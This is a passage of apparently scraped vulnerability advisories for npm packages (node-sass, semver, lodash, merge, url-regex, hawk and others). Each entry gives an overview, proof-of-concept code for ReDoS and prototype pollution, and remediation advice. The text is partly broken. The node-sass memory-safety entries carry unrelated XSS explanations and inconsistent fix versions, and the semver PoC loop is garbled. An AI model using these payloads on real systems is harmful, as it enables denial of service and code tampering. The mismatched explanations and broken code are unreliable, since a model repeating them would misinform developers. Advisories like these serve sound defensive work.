• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• NVD
• RedHat Bugzilla Bug

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. There is an illegal address access in Sass::Eval::operator() in eval.cpp, leading to a remote denial of service attack. NOTE: this is similar to CVE-2017-11555 but remains exploitable after the vendor's CVE-2017-11555 fix (available from GitHub after 2017-07-24). Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• RedHat Bugzilla Bug

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. A heap-based buffer over-read exists in the function json_mkstream() in sass_context.cpp. A crafted input will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• NVD
• RedHat Bugzilla Bug

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion. There is a stack consumption vulnerability in the Parser::advanceToNextToken function in parser.cpp in LibSass 3.4.5. A crafted input may lead to remote denial of service. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

Upgrade node-sass to version 4.8.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion via the function Sass::Eval::operator() in eval.cpp. It will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• NVD
• RedHat Bugzilla Bug

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion. There is a stack consumption vulnerability in the lex function in parser.hpp (as used in sassc). A crafted input will lead to a remote denial of service. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

• GitHub Commit

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC

const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• Vulnerable Code
• Vulnerable Code
• Vulnerable Code

Overview

trim-newlines is a Trim newlines from the start and/or end of a string

Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release

Overview

url-regex is a package with regular expression for matching URLs

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker providing a very long string in String.test can cause a Denial of Service.

PoC by Nick Baugh

For url-regex package:

 require('url-regex')({ strict: false }).test('018137.113.215.4074.138.129.172220.179.206.94180.213.144.175250.45.147.1364868726sgdm6nohQ')

For urlregex package:

require('urlregex')({ strict: false }).test('018137.113.215.4074.138.129.172220.179.206.94180.213.144.175250.45.147.1364868726sgdm6nohQ')

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for url-regex.

References

• GitHub Commit
• GitHub Issue
• Url-Regex-Safe - Secure Alternative
• PoC in GitHub

Overview

hawk is a library for the HTTP Hawk Authentication Scheme.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade hawk to version 9.0.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

For more information, check out our blog post

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.12 or higher.

References

• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Node Security Advisory
• Snyk Blog

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.

PoC

lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

• HackerOne Report

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

• GitHub Commit
• GitHub PR
• NPM Security Advisory
• NPM Security Advisory
• NPM Security Advisory
• NPM Security Advisory
• POC: HackerOne Report

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution via _recursiveMerge .

PoC:

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

Output:

Before : undefined
After : yes
After : yes

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

